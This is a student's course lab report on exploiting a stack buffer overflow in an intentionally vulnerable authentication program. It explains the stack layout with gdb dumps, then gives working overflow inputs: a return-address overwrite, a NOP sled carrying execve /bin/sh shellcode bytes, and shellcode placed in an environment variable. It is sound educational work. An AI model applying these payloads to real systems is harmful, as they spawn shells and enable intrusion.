Michael Christensen
November 15, 2013
CS 465

Project 9 – Buffer Overflow Part 2

This project follows the outline of "Stack Smashing Tutorial" given on the course website. I spent well over 3 hours on this (upwards into 8 or 10 hours examining the stack, learning perl, watching video tutorials about the structure of the stack, and doing the assignment, and I feel this document shows an accurate description of what I learned).

Part 1:

- Gaining access without a valid password:
    - I was able to get the "Access Granted" message by using any string of at least length 17 characters to overflow the buffer allocated for the string in the *check_authentication* function, which is only 16 large. For example, the password "mypasswordhelloyo" was accepted as the correct password into the program, while the similar password "mypasswordhelloy" (one character shorter) was rejected as invalid.
    - Stack analysis:
        - After doing the unsafe *strcpy* function in line 9 of *auth_overflow.c*, the status of the stack is as shown in the figure below (with labels of the locations directly above the memory location).
        - I am able to gain access because the local variable *auth_flag* is overwritten by the value of the parameter *password* when *strcpy* is called. When *check authentication* _ is first called, the sequence "push %ebp; mov %esp,%ebp; sub $0x38,%esp" is made, creating a certain number of bytes available for the local variables to be filled by later parts of the routine. By making the parameter *password*'s value larger than 16 bytes, the 17th byte overflows the *password_buffer* variable into *auth_flag*'s memory area, overwriting the previous contents of zero set in line 6.
        - The way the stack works is what makes this attack work: It is laid out like the general following diagram:

```
bottom_of_memory (top of stack)
[localvari]
[localvari]
[stackfram]                    (local frame pointer (%ebp))
[returnadd]
[parameter]
top_of_memory            (bottom of stack)
```

- That is, when a function like *check_authentication* is called, the parameters are pushed onto the stack, followed by the return address (the address of the next instruction, which is also labeled below in the diagram of the real stack in this program), the base pointer (to point to the start of the frame for later use, which also allows the stack pointer to be freed up and used appropriately), and finally the local variables. By pushing the variables onto the stack as they are encountered, *auth_flag* is put on first, followed by *password_buffer* (so *password_buffer* has the lower address and is on top of the stack). By writing to that variable's memory location, we can overflow it and enter higher memory overwriting that content.

```
              ---esp---
0xffffd2c0: 0x08048295      0x41caf8f8      0xbfebfbff      0x41ce3e63

                                                          --password_buffer—
                                                                A P Y M
0xffffd2d0:  0xffffffff      0xffffd30c      0x41cbeb6c      0x6170796d

             -------------password_buffer-------------- --localvar(auth_flag)—
               O W S S         E H D R         Y O L L              O
0xffffd2e0:  0x6f777373      0x65686472      0x796f6c6c      0x0000006f

                                            ---ebp---      --return-addr--
0xffffd2f0: 0x00000002      0xffffd3b4      0xffffd318      0x08048580

          --password(param)--
0xffffd300:  0xffffd579      0x0000002f      0x080485cb      0x41e6d000
```

- Gaining access without a valid password, then the program crashes:

- o The program grants access but then segmentation faults when it receives "mypasswordhelloyothisisveryl", which has 28 characters.
- o Stack Analysis:
  - Here, the 28 character inputted password is 12 characters (bytes) over what the *password_buffer* is meant to hold, therefore overflowing 12 bytes into higher memory addresses. For example, this time the stack pointer (%esp) is located at 0xffffd2b0, the location of *password_buffer* is 0xffffd2cc, the location of *auth_flag* is 0xffffd2dc. See the diagram below:
  - By using input of this length, it changed the value of %ebp, which is used in instructions for located the location of local variables in addition to restoring the correct value of the %eax, among other things, and you cause the eventual seg fault by corrupting it.

```
                    --esp--
    0xffffd2b0:     0xffffd2cc      0xffffd56e      0xbfebfbff      0x41ce3e63

                                                                --password_buffer--
    0xffffd2c0:     0xffffffff      0xffffd2fc      0x41cbeb6c      0x6170796d

                  -------------password_buffer-----------------  ---auth_flag--
    0xffffd2d0:     0x6f777373      0x65686472      0x796f6c6c      0x6968746f

                                  --ebp(changed from 0xffffd308)-- --&return_addr--
    0xffffd2e0:     0x76736973      0x6c797265      0xffffd300      0x08048580

                 --&password--
    0xffffd2f0:     0xffffd56e      0x0000002f      0x080485cb      0x41e6d000
    0xffffd300:     0x080485c0      0x00000000      0x00000000      0x41ccb963
    0xffffd310:     0x00000002      0xffffd3a4      0xffffd3b0      0xf7ffc6b0
    0xffffd320:     0x00000001      0x00000001      0x00000000      0x0804a024
```

- Program crashing without gaining access:
  - o The program crashes without granting access with the password input "mypasswordhelloyothisisverylonga", which has 32 characters.
  - o Stack Analysis:
    - The change that causes this to crash without gaining access is due to this password input being just long enough to overwrite the value in the memory address storing the return address. The 16 bytes of stack at location 0xffffd2e0 go from "`0x00000002 0xffffd3a4 0xffffd308` **`0x08048580`**" to "`0x76736973 0x6c797265 0x61676e6f` **`0x08048500`**". The bolded 4 bytes store the return address, which is corrupted causing the program crash.

Part 2:

- Gaining access without a valid password by overwriting the return value on the stack
  - This is the disassembly of 'main':

```
(gdb) disas main
Dump of assembler code for function main:
   0x0804853b <+0>:     push   %ebp
   0x0804853c <+1>:     mov    %esp,%ebp
   0x0804853e <+3>:     and    $0xfffffff0,%esp
   0x08048541 <+6>:     sub    $0x10,%esp
   0x08048544 <+9>:     cmpl   $0x1,0x8(%ebp)
   0x08048548 <+13>:    jg     0x804856b <main+48>
   0x0804854a <+15>:    mov    0xc(%ebp),%eax
   0x0804854d <+18>:    mov    (%eax),%eax
   0x0804854f <+20>:    mov    %eax,0x4(%esp)
   0x08048553 <+24>:    movl   $0x8048665,(%esp)
   0x0804855a <+31>:    call   0x8048380 <printf@plt>
   0x0804855f <+36>:    movl   $0x0,(%esp)
   0x08048566 <+43>:    call   0x80483c0 <exit@plt>
   0x0804856b <+48>:    mov    0xc(%ebp),%eax
   0x0804856e <+51>:    add    $0x4,%eax
   0x08048571 <+54>:    mov    (%eax),%eax
   0x08048573 <+56>:    mov    %eax,(%esp)
   0x08048576 <+59>:    call   0x80484e0 <check_authentication>
   0x0804857b <+64>:    test   %eax,%eax
   0x0804857d <+66>:    je     0x80485a5 <main+106>
   0x0804857f <+68>:    movl   $0x804867b,(%esp)
   0x08048586 <+75>:    call   0x80483a0 <puts@plt>
   0x0804858b <+80>:    movl   $0x8048698,(%esp)
   0x08048592 <+87>:    call   0x80483a0 <puts@plt>
   0x08048597 <+92>:    movl   $0x80486ae,(%esp)
   0x0804859e <+99>:    call   0x80483a0 <puts@plt>
   0x080485a3 <+104>:   jmp    0x80485b1 <main+118>
   0x080485a5 <+106>:   movl   $0x80486ca,(%esp)
   0x080485ac <+113>:   call   0x80483a0 <puts@plt>
   0x080485b1 <+118>:   leave
   0x080485b2 <+119>:   ret
End of assembler dump.
```

  - The return address that is pushed on the stack when you enter *check_authentication* is `0x0804857b`. I want this to be changed to `0x0804857f`, which is only reached if the previous "je" instruction isn't called signaling that the password didn't match (the "test" instruction was false).

```
        [localvari] (16 bytes – stores the char bu)
        [stackfram] (4 bytes -- local frame pointer (%ebp))
        [returnadd] (4 bytes)
                                                      ---ebp---    --return_addr--
0xffffd2e0:     0x00000002      0xffffd3a4      0xffffd308      0x0804857b
```

  - To do the change, I input the following: `(gdb) set {int}0xffffd30c = 0x0804857f`

Part 3:

- Gain access using only the command line (without using the debugger) to overwrite return address on the stack:
    - Like explained in Part 2, the *character_buffer* and *auth_flag* are followed by 8 bytes, the base pointer, and the return address. Therefore, the input I enter needs to be 16+4+8+4+4 = 36 bytes large, with the address being located in those last 4 bytes, with the address input reversed due to how the data is stored.
    - Thus, I input `./auth_overflow3 `perl -e 'print "mypasswordhelloyothisismysecrets\x7f\x85\x04\x08"'`` into the command line and was able to gain access. I tested this to make sure I wasn't just getting this because it was overflowing the *auth_flag* variable by changing the address at the end of the string as well as shortening the length of the string preceding the password part and both resulted in a seg fault without access being granted, showing what I did was exactly the right length and the address was in indeed being used correctly.

Part 4:

- Inject shellcode on the stack and execute it:
    - This is similar in form to Part 3, in that I need a string with 32 random bytes, followed by the address I want to jump to, and this time adding No-Ops and the shell code to this string so that the address I jump to ends up being in this shell code (somewhere within the No-Ops).
    - Since I just want to jump to an address somewhere within the No-Ops, I used the debugger to find an approximate address some arbitrarily large number of bytes higher in memory, which for this example can be something like 0xffffd1d0.
    - I was able to get a shell using the string generated by `perl –e ‘print “M”x32 . “\xd0\xd1\xff\xff” . “\x90”x300 . “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80”’`
        - The shell code inserted is from http://packetstormsecurity.com/files/115010/execve28-shellcode.txt, which is shorter than the one given in *shellcode.c*.

Part 5:

- Use an environment variable to inject shellcode on the stack:
    - Using the /bin/tcsh shell, I was able to make the environment variable “SHELLCODE” equal to the contents of *shellcode5.bin*. Running the program in the debugger and using the comment “x /s $esp”, I determined that the memory address of this environment variable was 0xffffd529.
        - To force the shellcode to execute in the debugger, I just needed to do a “set {int} 0xffffd23c = 0xffffd529” (changing value in the return address in that stack frame) and “continue” so that when the function *check_authentication* returned, it would go the code at the memory address 0xffffd529. I was then able to get a shell.
    - Using the command line, I could get the shell by doing a similar process to what has been done above in previous parts, using perl to print 32 characters (bytes) concatenated to the approximate address I wanted plus, which was the address of the environment variable holding the shell code. I prepended No-Ops to the shell code with “setenv SHELLCODE `perl –e ‘print “\x90”x50’; cat ‘shellcode5.bin’`.